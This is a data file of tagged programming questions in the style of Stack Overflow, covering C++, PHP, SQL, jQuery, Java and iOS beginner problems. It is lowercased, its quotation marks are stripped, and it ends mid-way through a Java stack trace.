what does the result do not make sense   i have programmed a small program to find the cos of any number bur the result was all strange the cmd :   <blockquote>    type the number 0.00        effincisy5        your cos =008c129e        press any key to continue . . .  </blockquote>   the code:   <pre><code>#include &lt;iostream&gt; #include &lt;vector&gt; #include &lt;cmath&gt; using namespace std;  float cos67 (float l float j) {     int k=0;     float sum=0 i=1;     while (k&lt;=j)     {         sum +=i;         i*=(-l*l/((2*l)*(2*l-1)));         k+=1;     }     return sum; } int main(){     float l j;     cout&lt;&lt; type the number  ;     cin&gt;&gt;l;     cout&lt;&lt;endl&lt;&lt; effincisy  ;     cin&gt;&gt;j;     cout&lt;&lt;endl;     cos67(l j);     cout&lt;&lt; your cos = &lt;&lt;cos67&lt;&lt;endl;     return 0; } </code></pre>   so why the result have letters on the number     or what does it mean,c++
wrap <tr> inside form for ajax file uploading  i am making a simple program for <code>editing/updating/inserting</code> in the table which contains table having columns of product names  price and image. the problem that i am facing is file uploading using <code>ajax</code>(how to use form data object sending data to php file using ajax). i tried to wrap  inside the form but not working (any alternative for this).   <blockquote>    dynamic php code  </blockquote>  <pre><code>&lt;form method= post  id= form .$value[ id ].  &gt; &lt;tr class= jsgrid-filter-row  id=  .$value[ id ].  &gt; &lt;td class= jsgrid-cell  style= width: 163px ; id= locolumn .$value[ id ].   &gt; .$value[ productname ]. &lt;/td&gt; &lt;td class= jsgrid-cell   style= width: 100px ; id= accolumn .$value[ id ].   &gt; .$value[ price ]. &lt;/td&gt; &lt;td class= jsgrid-cell  style= width: 100px ; id= cocolumn .$value[ id ].   &gt; .$array[$value[ productcategory ]-1]. &lt;/td&gt; &lt;td class= jsgrid-cell jsgrid-align-center  id= imagecolumn .$value[ id ].   style= width: 100px;  &gt;&lt;a target= _blank  href= ./user/ .$value[ imagelink ].   id= image .$value[ id ].  &gt;image  .$value[ id ]. &lt;/td&gt; &lt;td class= jsgrid-cell jsgrid-control-field jsgrid-align-center  style= width: 50px;  id= inputedit .$value[ id ].  &gt;&lt;input class= jsgrid-button jsgrid-edit-button editbuttonclass  id= editbuttonn .$value[ id ].   type= button  title= edit &gt;&lt;input class= jsgrid-button jsgrid-delete-button deletebuttonclass  type= button  title= delete  id= deletebutton .$value[ id ].  &gt;&lt;/td&gt; &lt;/tr&gt; &lt;/form&gt; </code></pre>,php
selecting multiple tables  this is a hypothetical (maybe even a naive) example without using joins. consider you have a users table and you have to list all users assigned to a particular role. a sql statement could be expressed as:   <pre><code>select u.username from users u  roles r where (u.roleid = r.id and r.id = 5); </code></pre>   if you assume that a relation exists  can the following mean the same thing or a join of some sort is required :   <pre><code>select u.username from users u  roles r where r.id = 5; </code></pre>,sql
rails pattern to build new object related to current view/model  rails newb question:  say i m currently viewing the <code>show.html</code> for one of my classes(<code>dog</code>). this class has_many flea(s).  if i put a  add new flea  link that links to <code>new_flea_path</code> (/fleas/new) when clicked it will build a new flea (`@flea = flea.new) and render flea s new.html.haml with its form fields...     but  how/where do i automatically pass in the dog_id that the flea needs to reference     is this a routes issue  maybe <code>/dog/3/flea/new</code> is what i need to handle in routes   or is this a controller thing,ruby-on-rails
how to return the last element in stack  i am doing my lab homework for python and i am stuck on one of the questions. any help would be greatly appreciated.     so the task is to find whether a string has balanced brackets or not. this means that each closing bracket should be in order.    balanced bracket example:   <pre><code>(&lt;&gt;){} </code></pre>   unbalanced bracket example:   <pre><code>())  (&lt;)&gt;  (this one is mistmatched)  )(&lt;&gt; </code></pre>   the part i am stuck on is; how can i return the last element of the stack to compare    <pre><code>def balanced_brackets(text):     s = stack()     opening_bracket_list = [ (    [    { ]     closing_bracket_dict = { ) : (    ]  :  [    }  :  { }     text_list = list(text)      for element in text_list:         if element in opening_bracket_list:            s.push(element)         if element in closing_bracket_dict:            if (last element of the stack) == closing_bracket_dict[element]:               s.pop()         else:             return false  if s == []:     return true </code></pre>   as you can see  i split the text into a string and use a for loop. if its an opening bracket  i push it into the stack  if its a closing element  i check if the last element of the stack matches the value from the dictionary. if no it return <code>false</code>  if yes it returns <code>true</code>.    any other suggestions to help the code would also be greatly appreciated. i use code runner for this and i can only use a stack and specifically a function (not a class) for this lab question,python
how to use rangecolors in pnchart linechart  i m fairly new to objective-c and i need some help understanding the rangecolors property for the line chart from pnchart library. <a href= https://github.com/kevinzhow/pnchart  rel= nofollow noreferrer >https://github.com/kevinzhow/pnchart</a>    for instance  i want values from 1 to 55 to be red  56 to 110 to be green  111 to 130 to be yellow and 131 upwards too be red. here s my code   <pre><code>linechartdata.rangecolors = @[ [[pnlinechartcolorrange alloc] initwithrange:nsmakerange(1  55) color:[uicolor redcolor]]  [[pnlinechartcolorrange alloc] initwithrange:nsmakerange(56  55) color:[uicolor greencolor]]  [[pnlinechartcolorrange alloc] initwithrange:nsmakerange(111  20) color:[uicolor yellowcolor]]  [[pnlinechartcolorrange alloc] initwithrange:nsmakerange(131  20000) color:[uicolor redcolor]] ]; </code></pre>   this doesn t seem to work... line colors are not attributed correctly :(    can somebody please help me understand how this works     thanks!,objective-c
"cannot read property  length  of undefined  when calling function  i get the following error when i click my refresh button:   <pre><code>caught typeerror: cannot read property  length  of undefined at getrandomimage (index.html:85) at htmlinputelement.onclick (index.html:11) </code></pre>   see this snippet:    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>var myarray = new array();
 
 getrandomimage(myarray    );
 
 function getrandomimage(imgar  path) {
     path = path ||  c:/users/owen/desktop/1-800memeline-master/memes/ ; // default path here
     var num = math.floor( math.random() * imgar.length );
     var img = imgar[ num ];
     var imgstr =  &lt;img src=   + path + img +    alt =   &gt; ;
     document.write(imgstr); document.close();
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;form&gt;
     &lt;input type= button  onclick= getrandomimage()  value= more meme plz &gt;
     &lt;/input&gt;
 &lt;/form&gt;</code></pre>
 </div>
 </div>
     it works fine with the button refreshing the page but most of the people on my website have bad internet which takes a long time to reload the page so only loading the image and not the background and text and unnecessary things.    link to github repo: <a href= https://github.com/odude102/1-800memeline/blob/master/index.html  rel= nofollow noreferrer >https://github.com/odude102/1-800memeline/blob/master/index.html</a>",javascript
what is the benefit of removing redundant imports in vb.net or using in c# file  i have been using re-sharper for quite long time and get used to solving a lot of problems by type <kbd>alt</kbd>+<kbd>enter</kbd> today one of my colleague ask what are the really benefits. and i could not say a word apart from if you are not using it why imports it.    can someone explain to me what are the real benefits if any,.net
how to access private static variable in static member function of another class   in this situation     a.h   <pre><code>#include  b.h   class a{     private:         static int n;         friend void b::setn(int _n); }; </code></pre>   a.cpp   <pre><code>#include  a.h   int a::n = 0; </code></pre>   b.h   <pre><code>class b{     public:         static void setn(int _n); }; </code></pre>   b.cpp   <pre><code>#include  b.h  #include  a.h   void b::setn(int _n) { a::n = _n; } </code></pre>  <blockquote>    <strong>intellisense: member  a::n  (declared at of  a.h ) is inaccessible</strong> has occured.  </blockquote>   but if i correct <strong>friend void b::setn(int _n);</strong> to <strong>friend class b;</strong>  it has no error.    why can t i use this way     i hope that only the static member function is accessible.,c++
counting duplicates and removing them in mysql select statement  i am having some trouble wrapping my head around this one.    i have a <em>cars database</em> with a <em>class</em> field that when selecting all entries  it will have duplicates of each <em>class</em> value. what i need to do with that is to count all of duplicates for each <em>class</em> value and then remove the duplicates to only display each <em>class</em> value once with a custom fields with the counted amount.   <pre><code>class   -----   a3   a3   a3   a3   b2   b2 </code></pre>   to become:   <pre><code>class | count   ------+---------   a3    | 4   b2    | 2 </code></pre>   i could imagine something contain the <code>count()</code> method  but i have no idea how i could have it count only the duplicate values and return the values separately for each class value     thanks in advance for any help in this one.,mysql
php no-one can register same name  i ve searched web and i ve found this code. i tried to rework it  so whenever someone registers with an name  someone else can t register with that same name. i ve literally tried everything. nothing ve worked. so please  can someone help me with this code  so no-one else can register same name     register.php    <pre><code>    $check_email = $dbcon-&gt;query( select email from tbl_users where email= $email  );     $count=$check_email-&gt;num_rows;      if ($count==0) {          $query =  insert into tbl_users(username email password) values( $uname   $email   $hashed_password ) ;          if ($dbcon-&gt;query($query)) {             $msg =  &lt;div class= alert alert-success &gt;                         &lt;span class= glyphicon glyphicon-info-sign &gt;&lt;/span&gt; &amp;nbsp; úspešne zaregistrován !                     &lt;/div&gt; ;         }else {             $msg =  &lt;div class= alert alert-danger &gt;                         &lt;span class= glyphicon glyphicon-info-sign &gt;&lt;/span&gt; &amp;nbsp; error pri registraci !                     &lt;/div&gt; ;         }      } else {           $msg =  &lt;div class= alert alert-danger &gt;                     &lt;span class= glyphicon glyphicon-info-sign &gt;&lt;/span&gt; &amp;nbsp; email již existuje !                 &lt;/div&gt; ;           $dbcon-&gt;close(); } }  &gt; </code></pre>   db:  <a href= https://i.stack.imgur.com/2owav.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/2owav.png  alt= enter image description here ></a>    thanks for any help,php
select box customization using css  there are many questions asking the same. i have gone through all and confused with the following situation. i have a select box and text box. i want both to have a particular height and border.    so  i define the following class for both   <pre><code>   .selclass     {              border: 1px solid #ccc;         height: 40px;            color:red;       }      &lt;select class= selclass &gt;     &lt;option value= 1 &gt;option 1&lt;/option&gt;     &lt;option value= 2 &gt;option 2&lt;/option&gt;     &lt;option value= 3 &gt;option 3&lt;/option&gt;     &lt;option value= 4 &gt;option 4&lt;/option&gt;   &lt;/select&gt; </code></pre>   this is working fine. but  while going through the other questions regarding the same  it is understood that select is controlled at os level and the style we can apply to select box using css is very minimal.    if so  is there any error in my code for browser compatibility  i checked with ie9+  edge  mozilla  chrome  iphone and this is working fine. so  i think my code is fine. please comment on this.    if my code is right  how it is working fine because  to my understanding  select cannot be controlled by css. please help.,css
export csv from html table using javascript(jquery)  i tried to export my json to html table to csv using jquery. but after exporting  when i opened the file its work fine.  but it not works for internet explorer(ie) any version.   <pre><code>$(document).ready(function () {      function exporttabletocsv($table  filename) {          var $rows = $table.find( tr:has(td th) )               tmpcoldelim = string.fromcharcode(11)               tmprowdelim = string.fromcharcode(0)               coldelim =                    rowdelim =   \r\n                 csv =     + $rows.map(function (i  row) {                 var $row = $(row)                      $cols = $row.find( td th );                  return $cols.map(function (j  col) {                     var $col = $(col)                          text = $col.text();                      return text.replace(         );                   }).get().join(tmpcoldelim);              }).get().join(tmprowdelim)                 .split(tmprowdelim).join(rowdelim)                 .split(tmpcoldelim).join(coldelim) +                   csvdata =  data:application/csv;charset=utf-8   + encodeuricomponent(csv);          $(this)         .attr({              download : filename               href : csvdata               target :  _blank          });     }      $( .export ).on( click   function (event) {         //          var d = new date();         var filename = d.todatestring();         exporttabletocsv.apply(this  [$( #dvdata&gt;table )  filename+ .csv ]);     }); }); </code></pre>,php
how to check if a file only contains 6 tabbed delimited columns in python  i am trying to check if a file contains only 6 tabs with as many rows but been pretty stuck. here is what i got although i think it is not doing what i want because this is for start of a line    <pre><code>with open (myfile   r ) as f:     line_lengths = [len(line) - len(line.lstrip()) for line in f]     if len(line_lengths) !=6:         print  file is not tab delimited      else:         print   file is ok. proceed  </code></pre>   i have a file with 6 tab delimited columns but it is giving me file is not tab delimited.    thank you,python
inputing strings in c++ using class is not working properly <pre><code>#include&lt;fstream&gt; #include&lt;iostream&gt; using namespace std; class employee {         char *name;         int age;         string designation; // string data type is used         float salary;     public:         void getdata();         void display(); }; void employee::getdata() // for taking the input  {     cout&lt;&lt; \nenter the name of the employee:  ;     gets(name); /*name is a char pointer */     cout&lt;&lt; \nenter the age of the employee:  ;     cin&gt;&gt;age;     cout&lt;&lt; \nenter the designation of the employee:  ;     getline(cin designation); /*designation is string data type*/     cout&lt;&lt; \nenter the salary of the employee:  ;     cin&gt;&gt;salary; } void employee::display()//for displaying the inputed data {     cout&lt;&lt; \nthe name of the employee:  ;     puts(name);     cout&lt;&lt; \nenter the age of the employee:  ;     cout&lt;&lt;age;     cout&lt;&lt; \nenter the designation of the employee:  ;     cout&lt;&lt;designation;     cout&lt;&lt; enter the salary of the employee:  ;     cout&lt;&lt;salary; } int main() {     ofstream fout;     char ch;     fout.open( employee.txt  ios::out|ios::binary);/*use of open function in file handing*/     employee e;      for(int i=0;i&lt;3;i++)      {         e.getdata();         fout.write((char*)&amp;e sizeof(e));//write() is used      }      fout.close();      ifstream fin;      fin.open( employee.txt  ios::in|ios::binary);      int j;      cout&lt;&lt; \n enter the employee no. to be read  ;      cin&gt;&gt;j;      fin.seekg((j-1)*sizeof(e));      fin.read((char*)&amp;e sizeof(e));      cout&lt;&lt; \n details of employee no. of object is =  ;      e.display();      return 0; } </code></pre>   i am not able to identify the error in my code...i had cross checked the code...there is no syntax error and no compiler error but the output is not correct...it is not taking the proper input from the user.,c++
how to know which element in body triggered ajax request in jquery  i m working on an app and trying to use the facebook behavior for an ajax request. in facebook you get a nice loading image next to the icon which triggers the ajax request. well  it s pretty simple to implement if you have 1-2 elements in the page.    i want to make it generic and would like that whenever any element triggers an ajax request  i want to show a small gif next to it. for this  i thought the ajaxsend event of jquery would be good enough  but alas it doesn t give me a handle of the object which triggered the ajax call. i would like to know if it is possible via some method of jquery to know which element triggered the ajax call and also to get the same handle when the ajax call is completed.    if you feel my approach to the problem is not correct  i would love to hear your suggestions.,jquery
join multiple fields to one field  dbname : table_name   <pre><code>table : abc remark1 remark2 remark3 remark4 remark5 1       2       3       4       5   table : xyz kod_type description     1      xxxx  2      yyyy  3      zzzz  4      aaaa  5      bbbb  </code></pre>   how do i join remark1 remark2 remark3 remark4 remark5 with kod_type,sql
jquery dynamically create div from input with errors  i have form with two text inputs.   <pre><code>&lt;form&gt;     1&lt;input type= text  id= test  name= test  /&gt;     2&lt;input type= text  id= test2  name= test  /&gt; &lt;/form&gt; &lt;div id= dimensions &gt;&lt;/div&gt; &lt;div id= texte &gt;&lt;/div&gt; </code></pre>   when a user types values into these fields  jquery automatically calculates the ratio and draws a rectangular div with width and height typed in form  but only up to 200x200 px.    my problem is that when i type  for example width=3 and height=100  my div is greater then max dimensions and i can t find where my mistake is.   <pre><code>$(document).ready(function () {     $( #test  #test2 ).keyup(function () {         var width = $( #test ).val();         var height = $( #test2 ).val();         var max = 200;         var min = 20;      var ratio;     if(width&gt;=height){       ratio = max / width;       width = ratio * width;       height = height * ratio;     } else {         ratio = max / height;         height = ratio * height;         width = width * ratio;      };          $( #dimensions ).html(width +   x   + height);         $( #texte ).css({  width :width +  px    height :height +  px  });      }); }); </code></pre>   <a href= http://jsfiddle.net/abwv6/  rel= nofollow >jsfiddle link</a>,jquery
how come my uitextfield(s) keeps being disabled after model   i made an app for my wife to track inventory.  it has a couple of view controllers to enter a new item  display all items  search items  and display selected item. after switching through each view a couple of times (no particular order) all of the textfields become disabled (you cannot select them to change the value) across all of the view controllers.  the buttons still work however. i have it setup so that when the user enters info into a particular cell  it saves it into memory so that if they switch views and then come back  the cells will get the data in the viewdidload method. please help!    *edit - i am using storyboard with a bunch of segues (i m new to programming and self taught  so idk if this is the right way or not)... here is a pic of my storyboard    <a href= http://i.imgur.com/at3pr0i.png  rel= nofollow >http://i.imgur.com/at3pr0i.png</a>,objective-c
question on nsuserdefault class  i have value in 1 string for particular key. but nsuserdefault class method doesn t work properly and it doesn t set object of a string forkey .    in short setobject forkey method is not working of nsuserdefault class. why is it so,iphone
disabling autorotation in ios 10 not working for specific view  i m trying to disable autorotation for a particular view (the first view the user sees) in an ipad app  in the view s .m file i ve used the following code:   <pre><code>- (bool)shouldautorotate {     return no; }  - (uiinterfaceorientationmask)supportedinterfaceorientations{     // return a bitmask of supported orientations. if you need more      // use bitwise or (see the commented return).     return uiinterfaceorientationmaskportrait;     // return uiinterfaceorientationmaskportrait | uiinterfaceorientationmaskportraitupsidedown; }  - (uiinterfaceorientation) preferredinterfaceorientationforpresentation {     // return the orientation you d prefer - this is what it launches to. the     // user can still rotate. you don t have to implement this method  in which     // case it launches in the current orientation     return uiinterfaceorientationportrait; } </code></pre>   this doesn t however seem to work as the view still rotates to landscape (see screenshot)    <a href= https://i.stack.imgur.com/x5ecn.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/x5ecn.png  alt= enter image description here ></a>    strangely the above code does disable autorotation for 2 other .xib views. anyone know what i m doing wrong     as an aside  would this have anything to do with the fact that this is the fist view presented by the app  i.e.:    <a href= https://i.stack.imgur.com/rwwa1.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/rwwa1.png  alt= enter image description here ></a>    i ve now tried to override the navigation controller method using the below but still no luck  the view still rotates!!! - any ideas    <pre><code>@interface customnavigationcontroller : uinavigationcontroller  @end  @implementation customnavigationcontroller  - (bool)shouldautorotatetointerfaceorientation:(uiinterfaceorientation)interfaceorientation {     return no;     // return yes for supported orientations     // return (interfaceorientation != uiinterfaceorientationmaskportrait); }  - (bool)shouldautorotate {     return no; }  - (uiinterfaceorientationmask)supportedinterfaceorientations{     // return a bitmask of supported orientations. if you need more      // use bitwise or (see the commented return).     return uiinterfaceorientationmaskportrait;     // return uiinterfaceorientationmaskportrait | uiinterfaceorientationmaskportraitupsidedown; }  - (uiinterfaceorientation) preferredinterfaceorientationforpresentation {     // return the orientation you d prefer - this is what it launches to. the     // user can still rotate. you don t have to implement this method  in which     // case it launches in the current orientation     return uiinterfaceorientationportrait; }  @end </code></pre>,ios
compiling java using command line javac  i m kinda new to compiling using cmd line javac and i m having trouble compiling this simple base-interface class   <pre><code>package com.apress.prospring2.ch03.di;  /**  * @author janm  */ public interface encyclopedia {      long findlong(string entry);  } </code></pre>  <hr>  <pre><code>package com.apress.prospring2.ch03.di;  import java.util.map; import java.util.hashmap;  /**  * @author janm  */ public class hardcodedencyclopedia implements encyclopedia {     private map&lt;string  long&gt; entryvalues = new hashmap&lt;string  long&gt;();      public hardcodedencyclopedia() {         this.entryvalues.put( ageofuniverse   13700000000l);         this.entryvalues.put( constantoflife   326190476l);     }      public long findlong(string entry) {         return this.entryvalues.get(entry);     } } </code></pre>   i can easily compile encyclopedia using javac encyclopedia.java but when i try to compile hardcodedencyclopedia .java i get   <pre><code>hardcodedencyclopedia.java:9: cannot find symbol symbol: class encyclopedia public class hardcodedencyclopedia implements encyclopedia {                                               ^ 1 error </code></pre>   can someone please tell me how to solve this without using ant or maven  thanks :),java
why am i getting a syntax error in this simple python print program   i m trying to print a name in ascii but keep getting an error.   <pre><code>print (    ---      _     |\  |       ___       | ) print (  |  |      | |    | \ |      /   \      | ) print (  |---      ---    |  \|     /_____\     |____  ) print (                            /       \    |   | ) </code></pre>   the error message is:   <pre><code>file  c:file  c:\[path]\jonah.py   line 3  in     print (  |---     ---    | \|     /_____\     |____  )  syntax error: eol while scanning string literal: c:\[path]\jonah.py  line 3  pos 57 print (  |---     ---    | \|     /_____\     |____  ) </code></pre>,python
print the sentences of a file one after another  i have a text file (input.txt) with 4 paragraphs and i have to write the sentences of these paragraphs in another file (output.txt) one after another (separated by new line).    the sentences in the original file are separated by  .   !  and    .    i have done it but my code has a problem. some sentences are not written in a new line in the output.txt file    my code:    <pre><code>while(1) {     c = fgetc(fp);     if( feof(fp) ) {       break;     }      c_next = fgetc(fp);      if( feof(fp) ) {       fprintf(fp_output   %c   c);       break;     } else {       if( c== .  || c==    || c== !  ) {         fprintf(fp_output   %c\n   c);       } else {         if( c== \n  ) {           fprintf(fp_output   %c   c_next);         } else if( c_next== \n  ) {           fprintf(fp_output   %c    c);         } else {           fprintf(fp_output   %c%c   c  c_next);         }        }     }    } </code></pre>   for example  for an input file:    <pre><code>this is the first sentence. the second one contains some more words  other words  more words  etc. the third sentence has; and more like: this  that  those.  this is the second paragraph. and now a question  only an exclamative sentence is missing!  this is the third paragraph. another component - word - would be this. the final sentence of the paragraph!  this is the last paragraph. </code></pre>   i get the following output with my code:   <pre><code>this is the first sentence. the second one contains some more words  other words  more words  etc. the third sentence has; and more like: this  that  those. this is the second paragraph. and now a question  only an exclamative sentence is missing! this is the third paragraph. another component - word - would be this.the final sentence of the paragraph! this is the last paragraph. </code></pre>   the problem is in the second and in the sixth line.each line must have at most 1 sentence.    any idea or hint or solution is welcomed.    thank you,c
how to combine two fors into one  this might be stupid  but i m want to know if it s possible  lets start with 5x5 a matrix   <pre><code>int[][] x = new int[5][5];       random rg = new random(); </code></pre>   now let s fill it with pseudo random information   <pre><code>for(int i=0;i&lt;5;i++){     for(int j =0; j&lt;5;j++){         x[i][j] = rg.nextint();      }            } </code></pre>   but how can i do this right with one single for    <pre><code>for(int i=0  j=0; i&lt;5; (j==5 i++  j=0:j++){     x[i][j] = rg.nextint(); } </code></pre>   this is not working :(,java
how do call specific css for specific browser using jquery  how do call specific css for specific browser using jquery,jquery
strict mode causes right-floating image to work differently on ie8 than left-floating  i ve seen posts about strict mode changing image padding  but i ve got a different problem.  i m trying to get text to float around images.  this works in ff 11 (well there s a small change in vertical position  but it doesn t bother me).  but in ie8  left-float works and right-float only works for one paragraph.  i made a minimal test file  and the problem went away.  eventually i figured out that putting a strict doctype was what caused the problem to reappear.  (and yes  i need that doctype to get my code to pass the w3c validator.)    i had prepared images of how it looks  but i m not allowed to post images yet.    the left-floating image always comes out like this:   <pre> xxxxxxxxxxxxxx  first paragraph  xxxxxxxxxxxxxx xxxxxxxxxxxxxx second paragraph xxxxxxxxxxxxxx </pre>   i want the right-floating image to come out as a mirror image of that  and that s what i get in ff 11 and ie 8 without a doctype.   <blockquote> <pre><code>                               first paragraph  xxxxxxxxxxxxxx                                                   xxxxxxxxxxxxxx                               second paragraph  xxxxxxxxxxxxxx                                                  xxxxxxxxxxxxxx </code></pre> </blockquote>   but when i put in the doctype  ie8 changes that to   <blockquote> <pre><code>                               first paragraph  xxxxxxxxxxxxxx                                                   xxxxxxxxxxxxxx                                                 xxxxxxxxxxxxxx                                                  xxxxxxxxxxxxxx                                               second paragraph </code></pre> </blockquote>   here s the html   <pre><code>&lt;!doctype html public  -//w3c//dtd xhtml+rdfa 1.0//en         http://www.w3.org/markup/dtd/xhtml-rdfa-1.dtd &gt; &lt;html xmlns= http://www.w3.org/1999/xhtml        xmlns:v= http://rdf.data-vocabulary.org/#        xmlns:fb= http://www.facebook.com/2008/fbml        xmlns:og= http://opengraphprotocol.org/schema/ &gt;   &lt;head&gt;     &lt;title&gt;float test - strict&lt;/title&gt;     &lt;style&gt;       img { margin: 0 10px; }       img.fl { float:left; }       img.fr { float:right; }     &lt;/style&gt;   &lt;/head&gt;   &lt;body&gt;     &lt;p dir= rtl &gt;       &lt;img class= fr  src= http://www.htmlgoodies.com/images/blue.gif         height= 100  alt= img /&gt;       first paragraph     &lt;/p&gt;     &lt;p dir= rtl &gt;       second paragraph     &lt;/p&gt;     &lt;div style= clear:both; &gt;&lt;/div&gt;     &lt;p dir= ltr &gt;       &lt;img class= fl  src= http://www.htmlgoodies.com/images/blue.gif         height= 100  alt= img /&gt;       first paragraph     &lt;/p&gt;     &lt;p dir= ltr &gt;       second paragraph     &lt;/p&gt;   &lt;/body&gt; &lt;/html&gt; </code></pre>,html
jquery navigating through a table  if you have a simple table  followed by a button; how do you from the button then navigate through the rows to evaluate the content...   <pre><code>&lt;table id=mydata &gt;   &lt;tr&gt;&lt;td&gt;&lt;input type= checkbox &gt;&lt;/td&gt;&lt;td&gt;somevalue&lt;/td&gt;   &lt;tr&gt;&lt;td&gt;&lt;input type= checkbox &gt;&lt;/td&gt;&lt;td&gt;somevalue&lt;/td&gt;   &lt;tr&gt;&lt;td&gt;&lt;input type= checkbox &gt;&lt;/td&gt;&lt;td&gt;somevalue&lt;/td&gt;   &lt;tr&gt;&lt;td&gt;&lt;input type= checkbox &gt;&lt;/td&gt;&lt;td&gt;somevalue&lt;/td&gt; &lt;/table&gt; &lt;input type= button  id= btntest &gt;  &lt;script&gt;   var stringdata =   ;   $( #btntest ).click(function(){     $( #mydata tr ).each(function(){       //if the checkbox is ticked       stringdata +=       // =&gt;&gt; the  somevalue  from the same tr     });     alert(stringdata);   }); &lt;/script&gt; </code></pre>,jquery
gl graphics library won t install  i am using eclipse neon c/c++ and i m trying to install an external graphics library. i m using the mingw compiler  and the path to the gl folder is in the  libraries  section. why am i still getting an error  how do i install this library    <pre><code>#include &lt;gl/glaux.h&gt; </code></pre>,c++
insert a new record into a mysql table with one of the values incremented by 1  i ve got the following table:   <pre><code>productid     price 1             price_value1 2             price_value2 3             price_value3 </code></pre>   i would like to insert a new product into the table and assign it a new productid. in this case its value equals to 4.  so i want my new table to look like so:   <pre><code>productid    price 1            price_value1 2            price_value2 3            price_value3 4            price_value4 </code></pre>   so as far as i understand  in order to do that i have to somehow retrieve the max value of productid and insert it using <code>insert into mytable values (productid + 1  price_value4)</code>. but how do i find out the maximum value of productid  i tried <code>insert into mytable values (select max(productid) + 1 from mytable  price_value4)</code> but  it didn t work.,mysql
file path as php url parameter  i have a php file that will be accepting several url parameters  one of which is a local file path (c:\users\etc..).  whenever this parameter is read in  php makes it into double backslashes (c:\users\etc..) which my upload code will not accept as a valid path.  what can i do here     thanks    -jesse,php
jquery length returns zero when trying to count divs  here is my html:   <pre><code>&lt;fieldset&gt;     &lt;legend&gt;ways i can be contacted&lt;/legend&gt;     &lt;div class= error-message-list &gt;&lt;/div&gt;     &lt;div class= rows &gt;         &lt;div class= row &gt;             &lt;div&gt;content&lt;/div&gt;             &lt;div&gt;content&lt;/div&gt;                         &lt;/div&gt;         &lt;div class= row &gt;             &lt;div&gt;content&lt;/div&gt;             &lt;div&gt;content&lt;/div&gt;                         &lt;/div&gt;     &lt;/div&gt; &lt;/fieldset&gt; &lt;p&gt;&lt;a id= count  href= # &gt;couynt&lt;/a&gt;&lt;/p&gt; </code></pre>   ..and here s my jquery:   <pre><code>    &lt;script type= text/javascript &gt;         $(document).on({             click: function(event) {                  event.preventdefault();                 console.log($(this).parents().siblings( fieldset .rows div.row ).length);             }         }  #count );     &lt;/script&gt; </code></pre>   when i click on  count  a zero gets written to the console. i would expect this to be a 2 because there are 2 divs with the class of <code>row</code> within the <code>rows</code> div.    if i just do it on the fieldset  ie  like this:   <pre><code>console.log($(this).parents().siblings( fieldset ).length); </code></pre>   then it returns a 1 as i would expect.     i have also tried    <pre><code>console.log($(this).parents().siblings( fieldset .rows .row ).length); </code></pre>   and   <pre><code>console.log($(this).parents().siblings( fieldset &gt; div.rows &gt; div.row ).length); </code></pre>   ..and many other combinations  but i just can t get it to say  2 !,jquery
jquery - unrecognized expression: :nth-child  i am trying to select <code>:nth-child</code> using jquery  but it show syntax error.   <pre><code>error: syntax error  unrecognized expression: :nth-child </code></pre>   <strong>here is my code</strong>   <pre><code>var i; jquery( #  + id +   .tab-pane ).each(function (id  t) {     var n = jquery(this).attr( id    pane-  + t);     var p_id = n.attr( id );     jquery( #  + id +   .nav-tabs li:nth-child(  + i +  ) a ).attr( href   p_id);     i++; }); </code></pre>   please check my code what is missing here,jquery
want to beautify a source code. but gives an exception  i created this code to beautify a source code as the coding convention. but i got an exception  of it. it doesn t give any line of error and my code string last curly brace is dumped. how can i fix it with this code.   <pre><code>    string tab =   ;     string code =  class demo{public static void main(string[] args) {system.out.println(\ abc\ );if(\ a\ .equals(\ a\ )){return \ a\ ;}system.out.println(\ abc\ );}} ;     string outtext = code;     string repfrom =  { ;     string repto =  {\n ;     pattern p = pattern.compile(repfrom  pattern.literal);     matcher m = p.matcher(outtext);     stringbuffer sb = new stringbuffer();     while (m.find()) {         tab +=  \t ;         m.appendreplacement(sb  repto + tab);      }     m.appendtail(sb);     string newtext = sb.tostring().replace( ;    ;\n  + tab +  \b );     p = pattern.compile( }   pattern.literal);     m = p.matcher(newtext);      repto =  }\n ;     sb = new stringbuffer();     string back =   ;     string tab2 = tab;      while (m.find()) {         try {             tab2 = tab2.substring(0  tab2.length() - 2);         } catch (exception e) {         }          back +=  \b ;         m.appendreplacement(sb  tab2 + back + repto + tab + back);     }     system.out.println(sb.tostring()); </code></pre>   my exception is...   <pre><code>java.lang.illegalargumentexception: contents must be presorted - added value 162 is less than preceding value 163 at org.netbeans.core.output2.intlist.add(intlist.java:76) at org.netbeans.core.output2.abstractlines.addtabat(abstractlines.java:1131) at org.netbeans.core.output2.outwriter.dowrite(outwriter.java:445) at org.netbeans.core.output2.outwriter.write(outwriter.java:499) at java.io.printwriter.write(printwriter.java:456) at java.io.printwriter.write(printwriter.java:473) at org.apache.tools.ant.module.bridge.impl.forkedjavaoverride$copier.maybeflush(forkedjavaoverride.java:350) at org.apache.tools.ant.module.bridge.impl.forkedjavaoverride$copier.access$000(forkedjavaoverride.java:251) at org.apache.tools.ant.module.bridge.impl.forkedjavaoverride$nbredirector$nboutputstreamhandler.stop(forkedjavaoverride.java:203) at org.apache.tools.ant.taskdefs.execute.execute(execute.java:521) at org.apache.tools.ant.taskdefs.java.fork(java.java:791) at org.apache.tools.ant.taskdefs.java.executejava(java.java:214) at org.apache.tools.ant.taskdefs.java.executejava(java.java:135) at org.apache.tools.ant.taskdefs.java.execute(java.java:108) at org.apache.tools.ant.unknownelement.execute(unknownelement.java:291) at sun.reflect.generatedmethodaccessor116.invoke(unknown source) at sun.reflect.delegatingmethodaccessorimpl.invoke(delegatingmethodaccessorimpl.java:43) at java.lang.reflect.method.invoke(method.java:601) at org.apache.tools.ant.dispatch.dispatchutils.execute(dispatchutils.java:106) at org.apache.tools.ant.task.perform(task.java:348) at org.apache.tools.ant.target.execute(target.java:392) at org.apache.tools.ant.target.performtasks(target.java:413) at org.apache.tools.ant.project.executesortedtargets(project.java:1399) at org.apache.tools.ant.project.executetarget(project.java:1368) at org.apache.tools.ant.helper.defaultexecutor.executetargets(defaultexecutor.java:41) at org.apache.tools.ant.project.executetargets(project.java:1251) at org.apache.tools.ant.module.bridge.impl.bridgeimpl.run(bridgeimpl.java:283) at 